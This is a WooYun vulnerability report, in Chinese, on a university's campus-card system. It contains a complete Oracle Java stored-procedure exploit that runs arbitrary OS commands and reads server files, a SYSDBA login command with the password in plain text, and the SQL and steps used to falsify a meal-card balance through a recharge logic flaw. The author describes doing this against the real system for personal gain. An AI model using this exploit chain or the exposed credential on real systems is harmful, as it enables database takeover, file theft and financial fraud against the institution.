漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-079342
漏洞标题:湖北省中南民族大学一卡通系统BUG第二弹,可获取SYS DBA权限,可非法读取服务器上的任意文件,可利用程序非法充值饭卡余额
相关厂商:中南民族大学
漏洞作者: 路人甲
提交时间:2014-10-14 14:52
修复时间:2014-10-19 14:54
公开时间:2014-10-19 14:54
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-10-14: 细节已通知厂商并且等待厂商处理中
2014-10-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
http://www.wooyun.org/bugs/wooyun-2014-078369
之前这个后续 = =
详细说明:
Oracle没有禁用JAVA扩展,通过之前爆出的iddbuser登陆
执行
create or replace and compile java source named runcmd as
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class RunCmd
{
private static void copyStream(InputStream inputStream, OutputStream outStream,String type) throws IOException {
byte[] bytes = new byte[1024];
int len = 0;
System.out.println("========"+type+"========");
while ( (len = inputStream.read(bytes)) != -1)
{
System.out.println(new String(bytes,0,len));
outStream.write(bytes,0,len);
}
}
public static void exec(String cmd)
{
try {
Process pc = Runtime.getRuntime().exec(cmd);
copyStream(pc.getInputStream(), System.out,"InputStream()");
copyStream(pc.getErrorStream(), System.out,"ErrorStream()");
} catch (IOException e) {
e.printStackTrace();
}
}
};
CREATE OR REPLACE PROCEDURE SP_RUNCMD
(cmd string)
as language java name 'RunCmd.exec(java.lang.String)';
begin
Dbms_Java.Grant_Permission('IDDBUSER', 'java.io.FilePermission', '<<ALL FILE>>', 'read ,write, execute, delete');
dbms_java.grant_permission('IDDBUSER','java.lang.RuntimePermission','*','writeFileDescriptor' );
end;
然后使用sqlplus
set serveroutput on;
call dbms_java.set_output(5000);
exec sp_runcmd('cat /home/oracle/expdp_auto.sh');
passwd 文件也可以读取
执行connect sys/xZHONGx2014@ecard as sysdba
select * from school.account where NAME='XXX'
update school.account set PRETMPBALANCE='7000' where NAME='XXX'
之后使用充值网站充值
这是我的充值记录
以及我现在的余额
点击充值后
显示充值失败,我的银行卡显示一比交易被支出并且再次收入
这时再把数据库里的改动改回来,过会后,刚才失败的充值依旧到账了^^
再次查看订单记录,已支付里没有该项记录,但是未成功里有
漏洞证明:
修复方案:
猜测是程序设计的BUG。数据库里直接改字段是通不过验证的,但是通过这种方法,虽然显示充值失败,但充值订单其实还在,过会通过某种机制同步并刷新后,余额就冲上了。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-10-19 14:54
厂商回复:
最新状态:
暂无